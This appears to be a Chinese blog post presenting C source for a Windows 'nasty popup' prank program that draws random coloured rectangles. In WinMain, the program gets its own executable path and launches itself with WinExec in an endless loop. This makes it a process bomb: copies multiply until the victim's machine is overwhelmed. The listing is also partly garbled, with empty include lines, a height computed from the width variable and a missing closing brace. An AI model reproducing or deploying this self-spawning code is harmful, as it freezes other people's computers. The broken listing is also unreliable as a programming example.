最近一直在学习 Windows编程,结果就写了一个恶心人的弹窗小程序。技术是一把双刃剑,用的好就是正途,用的不好就是害人。
#if defined(UNICODE) && !defined(_UNICODE)
#define _UNICODE
#elif defined(_UNICODE) && !defined(UNICODE)
#define UNICODE
#endif
#include
#include
#include
/* Declare Windows procedure */
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
HWND hwnd;
int cxClient, cyclient;
int WINAPI WinMain (HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR szCmdLine,
int iCmdShow)
{
//char path[255] = {0};
//GetModuleFileNameA(GetModuleHandle(NULL),path,255);
static TCHAR szAppName[] = TEXT("RndRctMT");
MSG msg;
WNDCLASS wndclass; //定义一个窗口对象
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WndProc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor(NULL,IDC_ARROW);
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szAppName;
if(!RegisterClass (&wndclass))
{
MessageBox(NULL,"This program requires Windows NT",szAppName,MB_ICONERROR);
return 0;
}
hwnd = CreateWindow(szAppName,TEXT("Random Rectangles"),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL);
ShowWindow(hwnd,iCmdShow);
UpdateWindow(hwnd);
char path[255]={0};
GetModuleFileNameA(GetModuleHandle(NULL),path,255); //获取文件路径
int i=0;
for(;;)
WinExec(path,SW_SHOW);
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
void Thread(void *pvoid)
{
HBRUSH hBrush;
HDC hdc;
int xLeft,xRight,yTop,yBottom,iRed,iGreen,iBlue;
while(TRUE)
{
if(cxClient !=0 || cyclient != 0)
{
xLeft = rand() % cxClient;
xRight = rand() % cxClient;
yTop = rand() % cxClient;
yBottom = rand() % cxClient;
iRed = rand() &255;
iGreen = rand() & 255;
iBlue = rand() &255;
hdc = GetDC (hwnd);
hBrush = CreateSolidBrush(RGB(iRed,iGreen,iBlue));
SelectObject(hdc,hBrush);
Rectangle(hdc,min(xLeft,xRight),min(yTop,yBottom),max(xLeft,xRight),max(yTop,yBottom));
ReleaseDC(hwnd,hdc);
DeleteObject(hBrush);
}
}
}
LRESULT CALLBACK WndProc(HWND hwnd,UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_CREATE:
_beginthread(Thread,0,NULL);
return 0;
case WM_SIZE:
cxClient = LOWORD(lParam);
cyclient = HIWORD(lParam);
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd,message,wParam,lParam);
效果图: